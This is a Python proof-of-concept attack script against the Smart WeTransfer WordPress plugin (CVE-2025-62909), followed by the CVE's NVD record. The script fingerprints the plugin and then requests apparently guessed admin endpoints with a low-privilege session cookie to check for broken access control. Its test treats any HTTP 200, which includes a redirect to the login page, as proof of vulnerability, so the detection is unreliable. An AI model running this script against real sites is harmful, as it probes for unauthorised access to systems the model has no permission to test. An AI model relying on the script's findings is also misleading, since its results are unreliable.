CVE-2025-62909

import requests # CVE-2025-62909 PoC - Smart WeTransfer Broken Access Control # Target: WordPress site with Smart WeTransfer plugin <= 1.3 target_url = "http://target-wordpress-site.com" # PoC 1: Check if the plugin is installed and identify version def check_plugin(): endpoints = [ f"{target_url}/wp-content/plugins/smart-wetransfer/readme.txt", f"{target_url}/wp-json/wp/v2/plugins?search=smart-wetransfer" ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: print(f"[+] Plugin detected at: {endpoint}") return True except: pass return False # PoC 2: Test unauthorized access to admin functions def test_unauthorized_access(): # Low-privilege user session (subscriber role) low_priv_cookies = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_xxx": "low_priv_user_token" } # Sensitive endpoints that should require admin privileges sensitive_endpoints = [ f"{target_url}/wp-admin/admin-ajax.php?action=smart_wetransfer_admin_action", f"{target_url}/wp-json/smart-wetransfer/v1/settings", f"{target_url}/wp-admin/admin.php?page=smart-wetransfer" ] results = [] for endpoint in sensitive_endpoints: try: response = requests.get(endpoint, cookies=low_priv_cookies, timeout=10) # If we get a 200 response instead of 401/403, vulnerability exists if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint} - Unauthorized access possible") results.append({"endpoint": endpoint, "vulnerable": True}) else: print(f"[-] Protected: {endpoint} - Status: {response.status_code}") results.append({"endpoint": endpoint, "vulnerable": False}) except Exception as e: print(f"[!] Error testing {endpoint}: {str(e)}") return results if __name__ == "__main__": print("CVE-2025-62909 Smart WeTransfer Authorization Bypass PoC") print("=" * 60) check_plugin() test_unauthorized_access()

{"cve": {"id": "CVE-2025-62909", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:50.300", "lastModified": "2026-04-27T18:16:29.623", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in mrityunjay Smart WeTransfer smart-wetransfer allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Smart WeTransfer: from n/a through <= 1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/smart-wetransfer/vulnerability/wordpress-smart-wetransfer-plugin-1-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}